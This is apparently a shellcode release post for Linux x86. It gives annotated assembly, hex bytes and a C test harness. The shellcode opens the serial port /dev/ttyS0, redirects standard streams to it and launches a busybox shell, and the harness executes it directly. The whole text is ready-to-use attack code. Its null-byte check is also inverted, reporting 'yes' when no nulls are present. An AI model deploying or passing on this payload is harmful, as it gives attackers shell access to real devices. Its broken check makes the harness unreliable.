/* General: Serial port shell binding, busybox launching shellcode.. yey! Specific: *really* wish i could tell you what i needed this for.. but meh.. this will bind a busybox sh shell to /dev/ttyS0, the shellcode does not alter the baudrate settings.. 9600 is the default, but its easy enough to cycle though if were at a different baud rate. ...damn how long has it been since i posted one of these? happy hunting -phar @ stonedcoder mdavis . @ org ioactive . com main: 31 d2 xor %edx,%edx 31 c0 xor %eax,%eax 6a 02 push $0x2 #flags O_RDW 59 pop %ecx 66 b8 53 30 mov $0x3053,%ax 50 push %eax 68 2f 74 74 79 push $0x7974742f #port device 68 2f 64 65 76 push $0x7665642f 89 e3 mov %esp,%ebx 6a 05 push $0x5 58 pop %eax 89 c6 mov %eax,%esi cd 80 int $0x80 #open 89 c6 mov %eax,%esi 31 c9 xor %ecx,%ecx dup2_loop: #set the serial port as our console 89 f3 mov %esi,%ebx 6a 3f push $0x3f 58 pop %eax cd 80 int $0x80 #dup2 41 inc %ecx 80 f9 03 cmp $0x3,%cl 75 f3 jne 80483a7 dup2_loop 66 b8 73 68 mov $0x6873,%ax 50 push %eax 89 e1 mov %esp,%ecx 52 push %edx 51 push %ecx 89 e1 mov %esp,%ecx 52 push %edx 68 79 62 6f 78 push $0x786f6279 #/bin/busybox 68 2f 62 75 73 push $0x7375622f 68 2f 62 69 6e push $0x6e69622f 89 e3 mov %esp,%ebx 6a 0b push $0xb 58 pop %eax cd 80 int $0x80 #execve */ int main() { char shellcode[] = { "\x31\xd2\x31\xc0\x6a\x02\x59\x66\xb8\x53\x30\x50\x68\x2f\x74\x74" "\x79\x68\x2f\x64\x65\x76\x89\xe3\x6a\x05\x58\x89\xc6\xcd\x80\x89" "\xc6\x31\xc9\x89\xf3\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf3" "\x66\xb8\x73\x68\x50\x89\xe1\x52\x51\x89\xe1\x52\x68\x79\x62\x6f" "\x78\x68\x2f\x62\x75\x73\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58" "\xcd\x80"}; char cnull = 0; printf("shellcode_size: %u\n", sizeof(shellcode)); printf("contains nulls: "); if(!memmem(shellcode,sizeof(shellcode),&cnull,1)){ printf("yes\n"); }else{ printf("no\n"); } (*(void(*)()) shellcode)(); }